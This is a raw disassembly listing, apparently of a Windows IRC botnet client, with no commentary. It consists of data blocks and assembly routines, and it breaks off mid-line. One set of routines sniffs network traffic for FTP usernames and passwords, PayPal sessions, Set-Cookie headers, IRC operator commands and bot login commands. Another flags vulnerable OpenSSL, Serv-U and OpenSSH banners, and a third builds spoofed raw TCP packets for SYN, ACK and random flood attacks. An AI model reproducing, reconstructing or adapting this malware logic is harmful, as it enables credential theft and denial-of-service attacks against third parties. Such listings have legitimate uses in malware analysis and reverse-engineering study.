858D0000h, 0FFFFFB24h, 50006A53h, 97BBE8h dd 0CC48300h, 0B40845C7h, 6A00434Dh, 2815FF10h, 0F004CB5h dd 458BF0BFh, 0FC788B08h, 2015FF57h, 0F6004CB6h, 7B7480C4h dd 15FF146Ah, 4CB528h, 74C08566h, 0FFFE831Fh, 0FF831A7Eh dd 83157E40h, 107D5BFFh, 24BD84C7h, 1FFFFF7h, 0E9000000h dd 17Fh, 15FF146Ah, 4CB528h, 74C08566h, 7DF6851Eh, 40FF832Eh dd 0FF83157Eh, 0C7107D5Bh, 0F724BD84h, 2FFFFh, 54E90000h dd 85000001h, 0C7107DF6h, 0F724BD84h, 3FFFFh, 40E90000h dd 0C7000001h, 0F724BD84h, 4FFFFh, 30E90000h, 8B000001h dd 0F724BDB4h, 848DFFFFh, 0FFF724BDh, 0FF685FFh, 11A84h dd 208300h, 0FD24858Dh, 0FF83FFFFh, 13755008h, 913FE8h dd 5A48000h, 0FFFFFD23h, 0F8E95900h, 0E8000000h, 912Ch dd 1B93Dh, 25765900h, 0B5D815FFh, 4D8D004Ch, 513C6AB8h dd 0F015FF50h, 8D004CB5h, 8D50B845h, 0FFFD2485h, 646850FFh dd 0EB004355h, 0DFF8341h, 8F850Fh, 858D0000h, 0FFFFFD24h dd 90EAE850h, 0C0850000h, 0A8840F59h, 0FF000000h, 4CB5D815h dd 0B84D8D00h, 50513C6Ah, 0B5F015FFh, 458D004Ch, 858D50B8h dd 0FFFFFD24h, 55506850h, 858D0043h, 0FFFFFB24h, 9958E850h dd 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh, 0FFFFFB24h dd 8B59256Ah, 0A5F350FCh, 0FFFCC7E8h, 0FC4589FFh, 24858D53h dd 6AFFFFFDh, 31E85000h, 81000096h, 0A4C4h, 24858D00h dd 53FFFFFBh, 0E850006Ah, 961Ch, 0EB0CC483h, 1FE832Eh dd 0FE831474h, 830F7403h, 57402FEh, 7504FE83h, 875FF1Ah dd 458B07EBh, 7C08308h, 24858D50h, 50FFFFFDh, 9F1BE8h dd 83595900h, 81140845h, 54E4087Dh, 8C0F0043h, 0FFFFFE27h dd 0FC7D83h, 0FD8E840Fh, 0B5FFFFFFh, 0FFFFFF28h, 0FF9446E8h dd 6A59FFh, 2CE02BE8h db 2, 90h word_411FD6 dw 8B55h ; DATA XREF: sub_401ACD+412Bo dd 2B4B8ECh, 3DE80001h, 8B00009Bh, 57560855h, 8B58016Ah dd 8D256AF2h, 0FFFF4CBDh, 458959FFh, 89A5F3F8h, 9082h dd 6AF63300h, 0E4458D10h, 81E85056h, 83000095h, 0C7660CC4h dd 2E445h, 5415FF56h, 0FF004CB6h, 0FFFF4CB5h, 458966FFh dd 8BE2E8E6h, 5059FFFFh, 0B69415FFh, 6A56004Ch, 89026A03h dd 15FFE845h, 4CB6D4h, 0FF83F88Bh, 0FC7D89FFh, 15FF5D75h dd 4CB5E8h, 4C858D50h, 68FFFFFDh, 435EECh, 9820E850h, 0C4830000h dd 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h dd 50FFFFFFh, 0FF4CB5FFh, 0E8E8FFFFh, 83FFFF79h, 858D14C4h dd 0FFFFFD4Ch, 3113E850h, 75FF0000h, 9371E8D0h, 5959FFFFh dd 55E89056h, 8B022CDFh, 106AD045h, 234C069h, 0B8890000h dd 43E59Ch, 50E4458Dh, 8015FF57h, 83004CB6h, 6475FFF8h dd 0B5E815FFh, 8D50004Ch, 0FFFD4C85h, 5EC068FFh, 0E8500043h dd 97A2h, 390CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF796AE8h dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 3095h, 15FF5759h dd 4CB6ECh, 0E8D075FFh, 0FFFF92EBh, 0E8905659h, 22CDED0h dd 0E0458D56h, 56565056h, 6AF8458Dh, 1685004h, 57980000h dd 0B60015FFh, 0F883004Ch, 0FF6475FFh, 4CB5E815h, 858D5000h dd 0FFFFFD4Ch, 435E9068h, 1FE85000h, 83000097h, 75390CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF78E7h, 8D14C483h, 0FFFD4C85h dd 12E850FFh, 59000030h, 0EC15FF57h, 0FF004CB6h, 68E8D075h dd 59FFFF92h, 4DE89056h, 53022CDEh, 4355A8BBh, 0FFFFBF00h dd 858D0000h, 0FFFEFD4Ch, 0E8505657h, 93C4h, 8D0CC483h dd 0FEFD4C85h, 505756FFh, 0FFFC75FFh, 4CB66C15h, 0FFF88300h dd 0FC840Fh, 0BD800000h, 0FFFEFD55h, 8BC67506h, 0FEFD5885h dd 6DBD80FFh, 18FFFEFDh, 75F44589h, 74858DB4h, 68FFFEFDh dd 435E84h, 96EAE850h, 85590000h, 9D7559C0h, 0FD74858Dh dd 7468FFFEh, 5000435Eh, 96D3E8h, 0C0855900h, 8B867559h dd 85FF33C3h, 7A840FC0h, 89FFFFFFh, 8D50085Dh, 0FEFD7485h dd 0B1E850FFh, 59000096h, 7559C085h, 4583470Fh, 458B1808h dd 0E9E37508h, 0FFFFFF55h, 0FD74858Dh, 0FF50FFFEh, 0FEFD60B5h dd 8415FFFFh, 0F004CB5h, 0FF50C0B7h, 15FFF475h, 4CB6E0h dd 7F048D50h, 0BCC5048Bh, 0FF004355h, 55988534h, 858D0043h dd 0FFFFFD4Ch, 435E4068h, 2006800h, 0E8500000h, 96D4h dd 391CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh, 8D50D475h dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF77A2E8h, 14C483FFh dd 0FD4C858Dh, 0E850FFFFh, 2ECDh, 0FED3E959h, 15FFFFFFh dd 4CB5E8h, 5E146850h, 858D0043h, 0FFFFFD4Ch, 20068h, 7DE85000h dd 83000096h, 753910C4h, 20755BD8h, 4C858D56h, 0FFFFFFFDh dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF774AE8h dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 2E75h, 0FC75FF59h dd 0B6EC15FFh, 75FF004Ch, 90C9E8D0h, 5659FFFFh, 0DCAEE890h ; --------------------------------------------------------------------------- sub al, 2 ; =============== S U B R O U T I N E ======================================= sub_412352 proc near ; CODE XREF: sub_412661+213p ; sub_412661+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CE3C0, eax mov eax, offset dword_4CE3C0 retn sub_412352 endp ; =============== S U B R O U T I N E ======================================= sub_412361 proc near ; CODE XREF: sub_412661+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237B loc_412377: ; CODE XREF: sub_412361+29j ; sub_412361+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237B: ; CODE XREF: sub_412361+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412377 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412377 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412377 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C3 loc_4123BF: ; CODE XREF: sub_412361+71j ; sub_412361+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C3: ; CODE XREF: sub_412361+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset aLogin_1 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset aLogin_0 ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BF push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BF push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412361 endp ; =============== S U B R O U T I N E ======================================= sub_412478 proc near ; CODE XREF: sub_412661+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412492 loc_41248E: ; CODE XREF: sub_412478+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412492: ; CODE XREF: sub_412478+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248E push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B8 loc_4124B4: ; CODE XREF: sub_412478+4Fj ; sub_412478+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B8: ; CODE XREF: sub_412478+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B4 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B4 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412478 endp ; =============== S U B R O U T I N E ======================================= sub_4124EE proc near ; CODE XREF: sub_412661+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412508 loc_412504: ; CODE XREF: sub_4124EE+29j ; sub_4124EE+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412508: ; CODE XREF: sub_4124EE+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412504 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412504 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253F loc_41253B: ; CODE XREF: sub_4124EE+60j ; sub_4124EE+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253F: ; CODE XREF: sub_4124EE+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253B push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253B push offset aPass_1 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124EE endp ; =============== S U B R O U T I N E ======================================= sub_412575 proc near ; CODE XREF: sub_412661+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258F loc_41258B: ; CODE XREF: sub_412575+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258F: ; CODE XREF: sub_412575+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258B push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B5 loc_4125B1: ; CODE XREF: sub_412575+4Fj ; sub_412575+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B5: ; CODE XREF: sub_412575+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B1 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B1 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B1 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412575 endp ; =============== S U B R O U T I N E ======================================= sub_4125FC proc near ; CODE XREF: sub_412661:loc_412A26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412616 loc_412612: ; CODE XREF: sub_4125FC+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412616: ; CODE XREF: sub_4125FC+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412612 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263C loc_412638: ; CODE XREF: sub_4125FC+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263C: ; CODE XREF: sub_4125FC+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412638 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412661 proc near ; DATA XREF: sub_401ACD+427Do var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CB668 lea eax, [ebp+var_3B8] push eax call dword_4CB6D8 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CB6D4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412707 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412707: ; CODE XREF: sub_412661+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CB680 cmp eax, 0FFFFFFFFh jnz short loc_41277D call dword_4CB5E8 push eax lea eax, [ebp+var_2B8] push offset unk_4361C0 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412759 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A73 add esp, 14h loc_412759: ; CODE XREF: sub_412661+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AD pop ecx push edi call dword_4CB6EC push [ebp+var_34] call sub_40B413 pop ecx push ebx nop call near ptr 26E0000h loc_41277D: ; CODE XREF: sub_412661+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CB600 cmp eax, 0FFFFFFFFh jnz short loc_412803 call dword_4CB5E8 push eax lea eax, [ebp+var_2B8] push offset unk_436190 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DF push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A73 add esp, 14h loc_4127DF: ; CODE XREF: sub_412661+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AD pop ecx push edi call dword_4CB6EC push [ebp+var_34] call sub_40B413 pop ecx push ebx nop call near ptr 26E0000h loc_412803: ; CODE XREF: sub_412661+13Cj mov esi, 200h loc_412808: ; CODE XREF: sub_412661+1D6j ; sub_412661+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CB66C cmp [ebp+var_113AF], 6 jnz short loc_412808 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412808 cmp [ebp+arg_0], 19h jz short loc_412808 cmp edi, 6Eh jz short loc_412808 cmp edi, 19h jz short loc_412808 push [ebp+var_113AC] call sub_412352 pop ecx push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412352 add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412906 loc_4128D2: ; CODE XREF: sub_412661+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E9 mov byte ptr [eax], 20h loc_4128E9: ; CODE XREF: sub_412661+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F1 mov byte ptr [eax], 20h loc_4128F1: ; CODE XREF: sub_412661+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D2 loc_412906: ; CODE XREF: sub_412661+26Fj cmp [ebp+arg_0], 50h jz loc_4129B9 cmp edi, 50h jz loc_4129B9 lea eax, [ebp+var_1138C] push eax call sub_412361 test al, al pop ecx jz short loc_41294D lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43615C jmp loc_4129E8 ; --------------------------------------------------------------------------- loc_41294D: ; CODE XREF: sub_412661+2C7j cmp edi, 50h jz short loc_4129B9 lea eax, [ebp+var_1138C] push eax call sub_412478 test al, al pop ecx jz short loc_412983 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436128 jmp short loc_4129E8 ; --------------------------------------------------------------------------- loc_412983: ; CODE XREF: sub_412661+300j cmp edi, 50h jz short loc_4129B9 lea eax, [ebp+var_1138C] push eax call sub_4124EE test al, al pop ecx jz short loc_4129B9 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4360F4 jmp short loc_4129E8 ; --------------------------------------------------------------------------- loc_4129B9: ; CODE XREF: sub_412661+2A9j ; sub_412661+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412575 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A26 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4360BC loc_4129E8: ; CODE XREF: sub_412661+2E7j ; sub_412661+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412808 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A73 add esp, 14h jmp loc_412808 ; --------------------------------------------------------------------------- loc_412A26: ; CODE XREF: sub_412661+36Ej call sub_4125FC test al, al pop ecx jz loc_412808 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436084 jmp short loc_4129E8 sub_412661 endp ; --------------------------------------------------------------------------- dword_412A54 dd 81EC8B55h, 494ECh, 8458B00h, 0A5B95756h, 8B000000h ; DATA XREF: sub_401ACD+6543o dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 90000000h dd 27E024E8h, 51E85002h, 8D00008Eh, 0FFFE7485h, 858D50FFh dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh dd 398h, 5014C483h, 0FB6C858Dh, 0EC68FFFFh, 50004361h dd 8DC9E8h, 83F63300h, 75390CC4h, 562075F8h, 0FB6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFEF4h, 6CB5FF50h, 0E8FFFFFDh dd 0FFFF6F8Fh, 8D14C483h, 0FFFB6C85h, 0BAE850FFh, 0FF000026h dd 0FFFD70B5h, 8915E8FFh, 5959FFFFh, 0F9E89056h, 5F022CD4h ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B09 proc near ; CODE XREF: ___:00412E80p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB5C4 test eax, eax jz short loc_412B49 xor eax, eax jmp loc_412E3C ; --------------------------------------------------------------------------- loc_412B49: ; CODE XREF: sub_412B09+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB6F8 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E34 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CB634 cmp eax, 0FFFFFFFFh jz loc_412E2A push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CB654 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CB654 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CB654 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CB654 push 12345678h mov [ebp+var_14], ax call dword_4CB650 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C19 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6D ; --------------------------------------------------------------------------- loc_412C19: ; CODE XREF: sub_412B09+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C35 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6D ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412B09+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6D call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6D: ; CODE XREF: sub_412B09+10Ej ; sub_412B09+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CB654 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 2780378h lea eax, [ebp+var_1C] push eax nop call near ptr 2780000h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBB: ; CODE XREF: sub_412B09+2E2j ; sub_412B09+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB654 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CB654 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB650 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB654 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC69 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC69 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CB6B8 cmp eax, 0FFFFFFFFh jz short loc_412DFE add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 2780000h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E27 jl loc_412CBB mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E27 jmp loc_412CBB ; --------------------------------------------------------------------------- loc_412DFE: ; CODE XREF: sub_412B09+2CBj call dword_4CB5E8 push eax lea eax, [ebp+var_F4] push offset dword_436214 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AD add esp, 10h jmp short loc_412E2A ; --------------------------------------------------------------------------- loc_412E27: ; CODE XREF: sub_412B09+2E0j ; sub_412B09+2EEj mov ebx, [ebp+arg_8] loc_412E2A: ; CODE XREF: sub_412B09+78j ; sub_412B09+31Cj push [ebp+var_20] call dword_4CB6EC pop esi loc_412E34: ; CODE XREF: sub_412B09+5Bj call dword_4CB5AC mov eax, ebx loc_412E3C: ; CODE XREF: sub_412B09+3Bj pop edi pop ebx leave retn sub_412B09 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAFA push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B09 add esp, 20h test eax, eax jnz short loc_412E8F push 1 pop eax loc_412E8F: ; CODE XREF: ___:00412E8Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- word_412E9E dw 8B55h ; DATA XREF: sub_401ACD+6722o dd 0BCEC81ECh, 53000003h, 8458B56h, 8B686A57h, 0BD8D59F0h dd 0FFFFFE44h, 685B016Ah, 0FFh, 0A5F3036Ah, 